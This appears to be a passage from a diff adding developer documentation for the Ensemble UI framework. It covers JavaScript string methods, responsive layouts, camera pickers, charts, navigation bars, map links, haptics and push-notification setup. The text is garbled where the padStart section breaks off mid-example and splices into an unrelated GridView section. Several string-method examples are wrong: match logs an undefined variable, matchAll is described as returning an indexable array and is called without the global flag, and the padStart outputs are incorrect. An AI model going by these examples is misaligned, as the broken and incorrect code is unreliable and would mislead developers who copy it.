"Hello, world!" +``` +### trimStart +The trimStart() method removes whitespace from the beginning of a string. + +```js +var str = " Hello, world!"; +var result = str.trimStart(); +console.log(result); // "Hello, world!" +``` +### trimEnd +The trimEnd() method removes whitespace from the end of a string. + +```js +var str = "Hello, world! "; +var result = str.trimEnd(); +console.log(result); // "Hello, world!" +``` +### repeat +The `repeat()` method constructs and returns a new string which contains the specified number of copies of the string on which it was called, concatenated together. + +```js +var str = "Hello "; +var result = str.repeat(3); +console.log(result); // "Hello Hello Hello " +``` + +### search +The `search()` method executes a search for a match between a regular expression and this String object. + +```js +var str = "Hello, world!"; +var result = str.search(/world/); +console.log(result); // 7 +``` + +### slice +The `slice()` method extracts a section of a string and returns it as a new string, without modifying the original string. + +```js +var str = "Hello, world!"; +var result = str.slice(7, 12); +console.log(result); // "world" +``` + +### substr +The `substr()` method returns a portion of the string, starting at the specified index and extending for a given number of characters afterward. + +```js +var str = "Hello, world!"; +var result = str.substr(7, 5); +console.log(result); // "world" +``` + +### match + +The `match()` method retrieves the result of matching a string against a regular expression and returns null in case there is no match. + +***Note:*** You can specify the regex flags such as i, g, m, s and u. When `g` (global) is specified, the operation will be executed on the whole string. See the following example. + +**Example:** + +```javascript +var str = "Hello, world! world!"; +var regex = /world/; +var result = str.match(regex); +console.log(result); // "world" + +regex = /world/g; //`g` flag has been specified +var result = str.match(regex); //due to the `g` flag, this is the same as String.matchAll +console.log(matches[0]); // "world" +console.log(matches[1]); // "world" +``` + +### matchAll + +The `matchAll()` method returns an array of all the matched strings or an empty array in case there is no match. + +**Example:** + +```javascript +var str = "Hello, world! world!"; +var regex = /world/; +var matches = str.matchAll(regex);//same as specifying the `g` flag in the regex +console.log(matches[0]); // "world" +console.log(matches[1]); // "world" +``` + +### padStart + +The `padStart()` method pads the current string with another string (multiple times, if needed) on the left until the resulting string reaches the given length. + +- If width is already smaller than or equal to `this.length`, no padding is added. A negative `width` is treated as zero. +- The second argument (string to be padded with) is optional. When not specified, space is used for padding +- If padding has length different from 1, the result will not have length width. This may be useful for cases where the padding is a longer string representing a single character, like " " or "\u{10002}". In that case, the user should make sure that this.length is the correct measure of the string's length. + +**Example:** + +```javascript +var str = "world"; +var paddedStr = str.padStart(6, "Hello"); +console.log(paddedStr); // "Helloworld" +paddedStr = str.padStart(10, "Hello"); +console.log(paddedStr); // "HelloHelloHelloHelloHelloworld" +paddedStr = str.padStart(8, "<"); +console.log(paddedStr); // "<< 480 ? 16 : 8 }" +``` + + +## 2. GridView's built-in breakpoints + +[GridView widget](#gridview) includes built-in responsive breakpoints. + +You can pass 1, 3, or 5 values to `horizontalTileCount` property to make the grid responsive based on predefined set of breakpoints. + +| Breakpoint | Width | +| --- | --- | +| xSmall | width <= 480 | +| Small | width > 480 && width <= 800 | +| Medium | width > 800 && width <= 1200 | +| Large | width > 1200 && width <= 1600 | +| XLarge | width > 1600 | + +GridView's horizontalTileCount can be: + +- 1 number - number of tiles for all breakpoints +- 3 numbers + * first number corresponds to xSmall and Small, + * second number corresponds to Medium + * last numner corresponds to xLarge and Large +- 5 numbers, corresponding to each breakpoint + +When not specified, the horizontal tile count is automatic based on resolution. + +--- + +In this example, depending on the available width, there will be 3 to 5 items per row. + +```yaml +GridView: + styles: + horizontalTileCount: 3 4 5 + +# Full example here: +# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/WS6fad3K96prUBXM4Hde +``` + +![Flex](public/images/responsive-grid.png) + +## 3. Wrap content with Flow widget + +[Flow widget](#flow) displays its children horizontally and wraps the children when it runs out of horizontal space. + +```yaml +Flow: + styles: + gap: 16 + lineGap: 16 + children: + - MyItem + +# Full example here: +# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/YbsqXNaXL5kpxKavlGKQ +``` + +![Flow](public/images/responsive-flow.png) + +## 4. Toggle between horizontal and vertical layouts with Flex widget + +[Flex widget](#flex) dynamically switches between a Row or a Column based on the `direction` property. + +```yaml +Flex: + styles: + direction: '${device.width > 500 ? "horizontal" : "vertical"}' + +# Full example here: +# https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/jLdWFkmrfgkhuaON568d + +``` + +![Flex](public/images/responsive-flex.png) + +--- + +# Use device's camera for updating profile picture + +This guide shows the typical interaction for updating a user's profile picture in a native app, where user can take a photo or pick an existing image from device's gallery. To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). + +Here's the experience we'll work toward: + +
    + +## 1. Display user image with an icon + +First, call the API that return's user image and pass the value to the Avatar widget. Using styles properties, we can display the avatar as a circle with a border. + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + + body: + Column: + styles: + mainAxis: center + children: + - Avatar: + source: ${getUser.body.results[0].picture.large} + styles: + height: 100 + width: 100 + borderRadius: 100 + borderColor: blue + borderWidth: 2 + margin: 2 + +API: + getUser: + uri: https://randomuser.me/api/?nat=us&randomapi + method: GET +``` + + +To display an icon on top of the avatar, we use a the Stack widget and pass these children, in this order: + +1. Avatar +2. Icon + +The Stack widget renders each child on top of the previous one. By setting `styles.alignChildren` to `bottomRight`, we can achive the following: + + + + +```yaml + - Stack: + styles: + alignChildren: bottomRight + children: + - Avatar: + source: ${getUser.body.results[0].picture.large} + styles: + height: 100 + width: 100 + borderRadius: 100 + borderColor: blue + borderWidth: 2 + margin: 2 + - Icon: + name: camera_line + library: remix + styles: + size: 20 + backgroundColor: white + color: blue + padding: 4 + borderColor: blue + borderRadius: 200 + borderWidth: 2 +``` + + +## 2. onTap, display a bottom sheet + +When user taps the profile image, we want to display a bottom sheet with two buttons: + +
    + +To achieve the above, first wrap the Stack widget inside a Column widget so we can add an onTop to the Column. onTap, we use `showBottomModal` action to open a bottom sheet: + +```yaml +View: + onLoad: + invokeAPI: + name: getUser + body: + Column: + styles: + mainAxis: center + crossAxis: stretch + children: + - Column: + styles: + crossAxis: center + onTap: + showBottomModal: + widget: ProfilePhotoOptions + options: + enableDrag: false + children: + - Stack: + # ... +``` + +Note that we're passing a widget named `ProfilePhotoOptions` to be rendered inside the bottom sheet. + +## 3. Add buttons to the bottom sheet + +Let's define the ProfilePhotoOptions widget, which includes two buttons: + +```yaml +ProfilePhotoOptions: + body: + Column: + styles: + crossAxis: stretch + mainAxisSize: min + gap: 24 + padding: 24 24 ${device.safeAreaBottom} 24 + children: + - Button: + label: Take photo + - Button: + label: Pick from gallery + +``` + +Note a few styling configurations: + +1. Buttons are placed inside a Column with `crossAxis: stretch`. This ensures the buttons width will stretch across the screen. +2. This Column also includes `mainAxisSize: min` to ensure the column just takes the space required by the children. +3. For padding, we use 24 on top, right, and left. For bottom padding, we use `${device.safeAreaBottom}` so that depending on the device, enough space is added to the bottom of the column. + + +## 4. Add action to Take Photo buttom + +Here, we use the `openCamera` action with following configurations: + +```yaml + - Button: + label: Take photo + onTap: + openCamera: + id: profilePhoto + options: + default: true + allowGalleryPicker: true + allowCameraRotate: true + allowFlashControl: true + enableMicrophone: false + preview: false + maxCount: 1 + mode: photo + onComplete: + # Either upload the photo, or navigate to a screen where user can crop the photo + # for both options, use the id of the action to access the file: ${profilePhoto.files[0].path} + # navigateScreen: + # name: ProfileImageCropper + # inputs: + # newProfileImage: ${profilePhoto.files[0].path} +``` + +This configuration uses the device's native camera functionality, and limits it to one image. + + +## 5. Add action to Pick from Gallery buttom + +Here, we use the `pickFiles` action with following configurations: + +```yaml + - Button: + label: Pick from gallery + styles: + height: 50 + onTap: + pickFiles: + source: gallery + id: filepicker + allowMultiple: false + allowedExtensions: + - png + - jpeg + - jpg + onComplete: + # TODO - you can either use the selected photo, or navigate to a screen where user can crop the photo + # navigateScreen: + # name: ProfileImageCropper + # inputs: + # newProfileImage: ${filepicker.files[0].path} + +``` + +This configuration uses the device's native gallery, and limits it to one image. + +---- + + +To see the full example in Ensemble Studio, [click here](https://studio.ensembleui.com/app/nWsD5baeykm3W772kkSw/screen/P2v4AOS8w3DXfUauqi0Q). + +--- + +# Inputs to ChartJs + +The ChartJs widget in ensemble may sometime not accept variables in plain ChartJS widget so a better way to go about this is to use Code section in ensemble to define configuration for the ChartJs and there we can easily use the variables ( inputs ). In our example we will look how we use labels passed as inputs to the ChartJs custom widget and use them according to our need. + + +#### Custom Widget + + + +```yaml +Widget: + inputs: + - spending + - categories + + onLoad: | + + //@code + chart.config = { + type: 'doughnut', + data: { + labels: categories, + datasets: [{ + data: [608, 590, 200, 79, 163,231,637,63], + backgroundColor: ['#FCA06B','#C66CFC','#8145FF', '#29CB90', '#4DA9CC','#FCA034',"#8145FA","#814500"], + hoverOffset: 2, + borderWidth: 0 + }] + }, + options: { + aspectRatio: 1, + cutout: 80 , + plugins: { + legend: { + display: false + }, + tooltip: { + enabled: true, + position: "nearest" + } + }, + layout: { + padding: 0 + } + } + }; + + body: + Column: + styles: + gap: 12 + children: + - Row: + styles: { crossAxis: center, mainAxis: center, padding: 20 0 } + children: + - Stack: + styles: { alignChildren: center } + children: + - ChartJs: + id: chart + styles: { width: 200, height: 200 } + + - Column: + styles: { crossAxis: center, gap: 0, mainAxis: center } + children: + - Text: + text: Last 30 days + styles: + textStyle: + color: 0xFF667483 + fontSize: 10 + - Text: + text: "$${spending}" + styles: + textStyle: + color: 0xFF063940 + fontSize: 28 + textAlign: end +``` + +#### Screen Code + + +```yaml +Spendings: + inputs: + spending: ${ensemble.storage.spendingLastDays.toFixed(2)} + categories: ${ensemble.storage.categories} +``` + + +**Output** + +![Alt text](public/images/tips/image-8.png) + + +#### Explanation + +The _categories_ and _spending_ are our inputs passed to this Custom Widget from one of our screens. Categories is an array consisting of string values. This input array is used as a value for **labels** property in the CharJs configuration if you paid close attention to the code for [Custom Widget](#custom-widget). This is how we can pass inputs to ChartJs and make it dynamic. + +--- + +# How to modify the BottomNavBar with custom styling and widgets + +#### Steps + +1. Make a custom widget one for selected state and one for inactive state ( Not selected ). + + + +```yaml +Widget: + inputs: + - name + - icon + - color + - library + body: + Column: + styles: + mainAxis: spaceBetween + crossAxis: center + height: 50 + children: + - Icon: + icon: ${icon} + library: ${library} + styles: + color: ${color} + - Text: + text: ${name} + styles: + fontSize: 12 + color: ${color} +``` + + + +2. similarly for active navigation item . Use these widgets under widget for each item of the BottomNavBar as given. + + + +```yaml +menu: + BottomNavBar: + styles: + backgroundColor: white + items: + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Home + icon: home + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Home + icon: home + color: 0xFF4CA771 + library: fontAwesome + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Order + icon: shoppingBag + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Order + icon: shoppingBag + color: 0xFF4CA771 + library: fontAwesome + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Favourite + icon: heart + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Favourite + icon: solidHeart + color: 0xFF4CA771 + library: fontAwesome + selected: true + - page: Grocery + customItem: + widget: + CustomNavbarItem: + inputs: + name: Cart + icon: shoppingCart + color: 0xFF999999 + library: fontAwesome + selectedWidget: + CustomActiveNavbarItem: + inputs: + name: Cart + icon: shoppingCart + color: 0xFF4CA771 + library: fontAwesome +``` + + +--- + +# Open Maps with Coordinates on Android and iOS + +This guide explains how to open map applications with specific coordinates on Android and iOS devices. The examples demonstrate how to launch Google Maps or Apple Maps, depending on the platform, and also include the ability to use dynamic coordinates input. + +[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/wCU2q0PQnNxmXqN4WyCV) + +## Implementation Overview + +The feature allows users to open their default map application (Google Maps or Apple Maps) with specific coordinates by clicking an icon. Depending on the user's device (Android, iOS, or Web), the appropriate map service will be launched. Additionally, users can enter dynamic coordinates to open any location. + +### Examples + +### Example 1: Open Google Maps with Static Coordinates + +This example demonstrates how to open a specific location in Google Maps using a simple icon click. + +**Sample Coordinates:** +- Latitude: `38.7946` +- Longitude: `106.5348` + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: Click on the icon to open location on Google Maps + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + openUrl: + url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) +``` + +#### Action Output Screenshot: + +
    +Output Screenshot +

    Clicking the icon will open Google Maps with the provided coordinates and label.

    +
    + + + +### Example 2: Open Apple Maps with Static Coordinates + +This example demonstrates how to open a specific location in Apple Maps. + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: Click on the icon to open location on Apple Maps + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + fontWeight: w300 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + openUrl: + url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies +``` +#### Action Output Screenshot: + +
    + Output Screenshot +

    Clicking the icon will open Apple Maps with the provided coordinates and label.

    +
    + + +### Example 3: Open Map Application Based on Device + +This example shows how to conditionally open the map application based on the user's device (Android, iOS, or Web). + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + fontWeight: w300 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + executeConditionalAction: + conditions: + - if: ${device.platform == "ios"} + action: + openUrl: + url: https://maps.apple.com/?ll=38.7946,106.5348&q=Ensemble+Technologies + - elseif: ${device.platform == 'android'} + action: + openUrl: + url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) + - elseif: ${device.platform == 'web'} + action: + openUrl: + url: https://www.google.com/maps/?q=38.7946,106.5348(Ensemble+Technologies) +``` +#### Action Output Screenshot: +
    +
    + Output Screenshot +

    Output on Android

    +
    +
    + Output Screenshot +

    Output on Iphone

    +
    +
    + +### Example 4: Dynamic Coordinates Input + +In this example, users can input their own coordinates and label, which will dynamically open the respective map application based on the user's device. + +#### UI Layout: + +```yaml +View: + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + label: Enter comma-separated Latitude and Longitude + id: mapsCoordinates + - TextInput: + label: Enter Label + id: mapslabel + - Text: Click on the icon to open location based on device. (Apple Maps on iPhone, Google Maps on Android) + - Row: + styles: + gap: 8 + crossAxis: center + children: + - Text: + text: "Sample Location: 38.7946,106.5348" + styles: + textStyle: + fontSize: 14 + fontWeight: w300 + - Icon: + name: locationArrow + library: fontAwesome + color: blue + size: 18 + onTap: + executeConditionalAction: + conditions: + - if: ${device.platform == "ios"} + action: + openUrl: + url: https://maps.apple.com/?ll=${mapsCoordinates.value}&q=${mapslabel.value} + - elseif: ${device.platform == 'android'} + action: + openUrl: + url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) + - elseif: ${device.platform == 'web'} + action: + openUrl: + url: https://www.google.com/maps/?q=${mapsCoordinates.value}(${mapslabel.value}) +``` + +--- + +# Using navigate Screen with BottomNavBar + +We can use [navigateScreen](#navigatescreen) for combining functionality of [BottomNavBar](#bottomnavbar) together with it for daily tasks like beside using BottomNavBar items to navigate across different screens, we can also make use of [navigateScreen](#navigatescreen) here to navigate across screen keeping the bottomNavBAr in place as well. Let us look at an example to make better sense of it. + +**Example** + +In this scenario we want to navigate to Profile screen using `Account` item in the bottomNavBar menu and also an icon in our `dashboard` screen. Given is code for different screen widgets `CustomHeader` for our screen header with an Profile Picture and [ViewGroup](#view-group) with bottomNavBar. + +**Explanation** + +- For each item in the menu we have used an expression which evaluates `selectedIndex` every time our screen re-renders ( it renders whenever user navigates from one screen to other screen using menu items ). +- Account item have `selectedIndex` of 4 as we are sending it as input from `navigateScreen` action in the `dashboard` screen's `CustomHeader` widget. +- So when we click on Profile Picture in the header for dashboard screen the bottomNavbar re-renders updating selectedIndex value which evaluates true for only `Account` item and thus we move to profile screen using both `Account` Item and the `Profile Picture` + +**Code** + +```yaml +CustomHeader: + body: + Row: + styles: + mainAxis: spaceBetween + crossAxis: center + backgroundColor: 0xff04010d + children: + - Markdown: + styles: + textStyle: + fontSize: 16 + color: white + text: Your Goals + - Image: + styles: + width: 40 + height: 40 + borderRadius: 40 + placeholderColor: transparent + source: ${auth.user.photo} + onTap: + navigateScreen: + name: App + inputs: + selectedIndex: 4 +``` + +ViewGroup with BottomNavBar + +```yaml +ViewGroup: + BottomNavBar: + styles: + backgroundColor: 0xEE000000 + floatingBackgroundColor: black + floatingIconColor: yellow + notchColor: black + selectedColor: 0xFF34CAF7 + color: 0xFF999999 + + items: + - label: Home + icon: + name: bar_chart_2_line + library: remix + page: Home + + - label: Learn + icon: + name: movie_line + library: remix + page: Insights + + - label: Advisors + icon: + name: customer_service_2_line + library: remix + page: Advisors + + - label: Account + icon: + name: account_circle_line + library: remix + page: Account + selected: "${selectedIndex == 4 ? true : false}" + + - icon: + name: flashlight_fill + library: remix + floating: true + floatingAlignment: center + floatingMargin: 0 + onTap: + navigateScreen: + name: ChatPage + inputs: + threadId: 0 + userId: "${ensemble.storage.userAccount != null ? ensemble.storage.userAccount.id : ''}" +``` + +![Alt text](public/images/tips/image-9.png) + +![Alt text](public/images/tips/image-10.png) + +--- + +# Dynamic Color Modification in JavaScript + +**Objective** + +To dynamically change the color of a Text widget based on a JavaScript variable. The goal is to customize the color property of the Text widget's style. + +To achieve this, consider the following steps: + +1. Access Text Widget: + Obtain a reference to the Text widget that you want to modify. In the provided example, it can be accessed using the identifier (id). + ```yaml + - Text: + text: Hi there! + styles: + textStyle: + fontSize: 24 + color: blue + id: helloUser + ``` + +2. Modify Color Property: + Directly modify the color property of the Text widget's style using the assigned identifier. + ```javascript + helloUser.color = 'red'; + ``` + +--- + +# Configuring BottomNavBar Icons + +**Objective** +To add a heart icon to a BottomNavBar item, ensuring correct rendering. If using a default icon, no additional library specification is needed; however, for non-default icons like Font Awesome, it's crucial to specify the library. + +To achieve this, consider the following steps: + +1. Default Icons: + If using default icons (e.g., "home," "search," "shopping_cart"), no library specification is required. Simply provide the icon name. + ```yaml + BottomNavBar: + styles: + backgroundColor: 0xFF1F2128 + items: + - label: Home + icon: search + screen: Home + ``` + +2. fontAwesome Icons: + For non-default icons, particularly those from Font Awesome, ensure to specify the library using the iconLibrary attribute. + ```yaml + BottomNavBar: + styles: + backgroundColor: 0xFF1F2128 + items: + - label: Favourite + icon: heart + screen: Home + iconLibrary: fontAwesome + ``` + +3. Active Icons: + If an active state icon is needed (e.g., a different icon when the item is selected), use the activeIcon attribute. + +--- + +# Invoke Haptics + +We can use the invokeHaptic action to provide haptic feedback in your app. This feature enhances the user experience by providing tactile responses for different interactions. + +The invokeHaptic action is utilized to trigger haptic feedback, and it supports various types such as heavyImpact, mediumImpact, lightImpact, and vibrate. +Buttons are used to demonstrate different haptic types, and the last button showcases using JavaScript code to invoke the lightImpact haptic. + +Please note that haptics will only work on native apps. + +invokeHaptic action is utilized to trigger haptic feedback, and it supports various types. +- Button: + label: Heavy Impact + onTap: + invokeHaptic: + type: heavyImpact + +Additionally "Vibrate" button demonstrates chaining actions by using the onComplete property to execute additional JavaScript code after the haptic feedback is played. +- Button: + label: Vibrate (Using onComplete action to chain) + onTap: + invokeHaptic: + type: vibrate + onComplete: + executeCode: + body: | + //@code + console.log("Vibrate Haptic played") + +Furthermore, the onTapHaptic property is used for the "Selection Click" button, demonstrating an alternative way to trigger haptic feedback. +- Button: + label: Selection Click (Using onTapHaptic property) + onTapHaptic: selectionClick + onTap: + executeCode: + body: | + //@code + console.log("Button Pressed") + +--- + +# Custom Lottie Animations with Events and Controls + +With features like onStart, onPause, onComplete, and control buttons, you can create interactive animations tailored to your application. + +The Lottie animations have events such as onForward, onReverse, onPause, and onComplete. Control buttons are provided to trigger these events dynamically. +- Lottie: + id: MyLottie + autoPlay: false + repeat: false + onForward: | + //@code + console.log("Forward"); + onReverse: | + //@code + console.log("Reverse"); + onPause: | + //@code + console.log("Pause"); + onComplete: | + //@code + console.log("Completed"); + source: https://assets6.lottiefiles.com/private_files/lf30_rnpgzd17.json + styles: + width: 400 + height: 200 + +- Button: + styles: + outline: true + borderColor: 0xffed5742 + borderRadius: 20 + backgroundColor: 0xffaad6de + labelStyle: + color: 0xffed5742 + label: Forward + onTap: | + //@code + console.log("Forward"); + MyLottie.forward(); + +--- + +# HTML Widget with maxLines Support and Enhanced Styling + +The HTML widget allows you to apply CSS-like styles to specific elements within the HTML content. Customize text color, font size, and font weight effortlessly using both CSS tags and the box wrapper, providing increased styling flexibility. + +The
    with an id of "hello" and the

    with an id of "tag2" are styled with various properties such as border, borderRadius, padding, color, fontWeight, backgroundColor, maxLines, and textOverflow. + +- Html: + id: myHtml + cssStyles: + - selector: "#hello" + properties: + border: 10px solid red + borderRadius: 10px + padding: 20px + - selector: "#tag2" + properties: + color: white + fontWeight: "900" + backgroundColor: red + maxLines: 2 + textOverflow: ellipsis + text: | +

    +

    Until recently, the prevailing view assumed lorem ipsum was born as a nonsense text. “It's not Latin, though it looks like it, and it actually says nothing,” Before & After magazine answered a curious reader, “Its ‘words’ loosely approximate the frequency with which letters occur in English, which is why at a glance it looks pretty real.”

    + + As Cicero would put it, “Um, not so fast.” + + The placeholder text, beginning with the line “Lorem ipsum dolor sit amet, consectetur adipiscing elit”, looks like Latin because in its youth, centuries ago, it was Latin. + + Richard McClintock, a Latin scholar from Hampden-Sydney College, is credited with discovering the source behind the ubiquitous filler text. In seeing a sample of lorem ipsum, his interest was piqued by consectetur—a genuine, albeit rare, Latin word. Consulting a Latin dictionary led McClintock to a passage from De Finibus Bonorum et Malorum (“On the Extremes of Good and Evil”), a first-century B.C. text from the Roman philosopher Cicero. + + +--- + +# Push Notification + +## Setup +This guide will walk you through setting up iOS/Android push notifications for your Ensemble app. Before you begin, ensure your bundle ID is correct. Also ensure the `appId` under `ensemble.properties` has the same bundle ID. + +#### iOS Setup +An Apple developer account is required to setup push notification and deploy the app. Each account requires a single APNs certificate for push notifications that work across all your Apps. If you don't already have one, go to https://developer.apple.com/account/resources/authkeys/list. +- Create a new Key and select "Apple Push Notification service (APNs)". +- Download the key and save it in a secure location (you can only download it once). You will need this key to upload to Firebase. + +#### Setup Firebase +- Create a new Firebase project if not already created. Go to Project Settings. + - Under "General" tab, add an iOS or Android app, then download the `GoogleService-Info.plist` or `google-services.json` respectively. + - Under "Cloud Messaging" tab and inside "Apple app configuration", upload the APNs Authentication Key you created / downloaded earlier in your Apple developer account. + - Use the Key ID under the APNs key you created earlier. + - Use the Team ID from your Apple Developer account. + +### Setup Ensemble +- Open `/starter/lib/generated/ensemble_modules.dart` with an Editor and change `useNotifications` to true. +- open Xcode under `/starter/ios`. + - Under Signing & Capabilities, click on `+ Capability` button. + - Add `Push Notifications`. + - Add `Background Modes` and check `Remote notifications`, `Background fetch` and `Background processing`. + - drop "GoogleService-Info.plist" in ios/Runner +- Drop the `google-services.json` in `android/app` folder. + +### Testing notifications +- Firebase requires a device token to send notification to. For testing purpose you can retrieve the device token by using the following app definition. Upon running this screen, it will ask the user to authorize Notifications. Once authorized, the device token will be displayed. +```yaml +View: + onLoad: + requestNotificationAccess: + onAuthorized: |- + status.value = event.data.deviceToken; + + # if denied, you may want to take the user to another screen, + # explaining why notifications are needed with an option to + # take the user to Settings' Notification page. + onDenied: + navigateScreen: + name: Enable Notifications + + # Optional - set the header for the screen + header: + title: What's my device token + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - TextInput: + id: status +``` +- To send a test notification from Firebase, Go to "Messaging" and create your first campaign. + - Select `Firebase Notification messages`. + - Enter a notification text and click "Send test message". + - Enter the device token above and click "Test". + - You should be receiving a push notification + +### Update when token changes +- Firebase can occasionally assign a new device token. When that happens, Ensemble automatically save a copy of the latest token, accessible via `ensemble.device.deviceToken`. + +- To update your server with the latest token, you can usually add the logic inside your home screen (where the user has been authenticated). Below is a example: +```yaml +## Home screen: +View: + onLoad: + invokeAPI: + name: updateDeviceToken + +API: + updateDeviceToken: + url: + headers: + Authorization: Bearer + body: + newToken: ${ensemble.device.deviceToken} + + +``` + +## Handling Notifications +Ensemble provides multiple ways to handle notifications to suit your use cases. +1. **[Notification Handler](#creating-a-script-and-handler-function)**: Define a notification handler (see below) in JavaScript to be executed on every notification received. You can run logic then return a payload to navigate to a screen. +2. **[Navigating to a Screen](#navigating-to-a-screen)**: If a handler is not specified but you want to navigate to a screen upon the user tapping on the notification, simply provide either the screenId or screenName in the notification payload. +3. If neither of the above is specified, the app will simply open up the app (if it is currently not on the foreground). + +#### Creating a Script and Handler Function +Navigate to or create a script in the Scripts section. For example, you might have a script called Common. +In the script, create a function that will be called whenever a notification is received. For example: +```js +function handle_notification(notification) { + // Your notification handling logic here +} +``` +The notification parameter contains the message data in JSON format. + +Inside this function, you can: + +- Write your routing logic +- Access ensemble.storage +- Perform one action: navigation +To navigate, simply return the payload of a navigationScreen action. The framework will handle the navigation. + +Example: + +```js +function handle_notification(notification) { + console.log(notification); + + // Assuming the screen name is in the FCM data section + var payload = { + "name": notification['data']['screen'], + // You can also pass inputs that will be accessible on the destination screen + }; + + return payload; +} +``` +If you don't want to navigate, simply don't return anything. + +Marking the Function as a Notification Handler +To designate your function as the notification handler: + +- Go to `Settings` -> `Environment Variables` +- Add a new variable called `ensemble_notification_handler` +- Set its value to `scriptName.handlerName` +For our example, it would be `Common.handle_notification`. + +Once set, `Common.handle_notification` will be called every time a notification is received. + +#### Navigating to a Screen +Instead of creating a handler function in Javascript, you can specify the screenId or screenName in the notification payload. This will navigate to the specified screen when the user taps on the notification. + +Here is an example notification payload sent from the server. Note the screenId / screenName (you should specify one or the other, but not both) in the data section. +```yaml +{ + "token": "", + "notification": { + "title": "Hi from Ensemble", + "body": "Hello this is a sample notification" + }, + "apns": { + "payload": { + "aps": { + # update the badge count on iOS + "badge": 5 + } + } + }, + # custom data sent to Ensemble + "data": { + "screenId": "", + "screenName": "", + "hello": "world" + } +} +``` + +Upon receiving this notification, Ensemble will navigate to the screen specified, and pass along the notification title/body, along with the data payload to the screen. You can access this data in the screen using `notificationPayload.*`. Here is an example of the screen the notification will redirect to: +```yaml +View: + body: + Text: + text: |- + Notification redirected me here: + Notification title: ${notificationPayload.title} + Notification body: ${notificationPayload.body} + Notification payload: ${notificationPayload.data.hello} +``` + +--- + +# Using device width and height + +You have access to device width and height through: + +``` +device.width +device.height +``` + +You can use them to set width and height of a widget. Note that when doing calculations that might result in doubles, you must round the number. E.g. if you divide the width by two, on some devices, the result might be a double such as `190.5`. Use `Math.floor` to round it down to `190`. + + +```yaml +View: + body: + Column: + children: + - Shape: + type: rectangle + styles: + width: ${Math.floor(device.width / 2)} + height: ${Math.floor(device.height / 2)} + backgroundColor: yellow +``` + +--- + +### Using BottomSafeArea for Responsive Layouts + +In mobile devices, especially those with a 3-button navigation bar (as seen on some Android devices), extra space at the bottom can affect the layout of your UI elements. To ensure that your content doesn't get overlapped by the navigation bar, it’s important to adjust the height of your widgets to exclude the space taken by the navigation bar, known as the "Safe Area." + +EnsembleUI provides access to the device’s dimensions, including the height and the bottom safe area, allowing you to adjust your UI accordingly. By subtracting the bottom safe area from the total height, your layout dynamically adjusts, ensuring nothing overlaps with the navigation bar. Here's an example: + +```yaml +FlexColumn: + styles: + height: ${ device.height - device.safeAreaBottom } +``` + +#### Visual Example: + +Here are two screenshots that show the UI with and without the 3-button navigation bar, demonstrating how the layout adjusts dynamically. + + +
    + + + + + +
    + With 3-Button Navigation Bar + + With Swipe Navigation +
    +
    + + +By implementing this trick, you ensure that your app’s UI remains consistent and user-friendly across devices with different navigation styles. This technique prevents layout issues such as buttons being hidden or content being overlapped. + +--- + +# Floating Button + +[Kitchen Sink Example](https://studio.ensembleui.com/app/YQGEapU8rrEfhTJJLzz8/screen/Vz7SuvSTF8i5no7jKXGx) + +```yaml + Stack: + styles: + alignChildren: bottomLeft + children: + - ListView: + styles: + padding: 12 + gap: 10 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + openUrl: + url: "https://studio.ensembleui.com/preview/index.html?appId=e24402cb-75e2-404c-866c-29e6c3dd7992" + + - Card + - Card + - Card + - Card + + - Button: + startingIcon: + name: plus + library: fontAwesome + styles: + padding: 20 25 + margin: 30 +``` + +### ListView: +- The `ListView` component displays a list of items on the screen. +- Additional styles are applied to customize its appearance, such as padding and gap between items. +- Within the `ListView`, various child components like `Text` and `Cards` are nested to represent different content sections. + +### Button (Floating Button): +- Positioned alongside the `ListView` within the `Stack`, the `Button` component serves as the floating action button. +- Its placement on the same level as the `ListView` within the `Stack` allows it to overlay the content, creating the floating effect. +- `Styles` are applied to adjust the button's appearance, including padding and margin for spacing. + +## Floating Button Implementation: +By placing the `Button` component within the `Stack` alongside the `ListView`, it remains visually separate from the list content and appears to float above it. This arrangement allows for easy access to important actions while maintaining a clean and organized UI layout. + +--- + +# Creating an Avatar + +Display basic avatars with various configurations such as size, shape, and borders. You can also display avatars with initials when an image source is unavailable. + +Use the `Avatar` component inside a `Flow` or other container. +Set the `source` attribute to the URL of the image for the 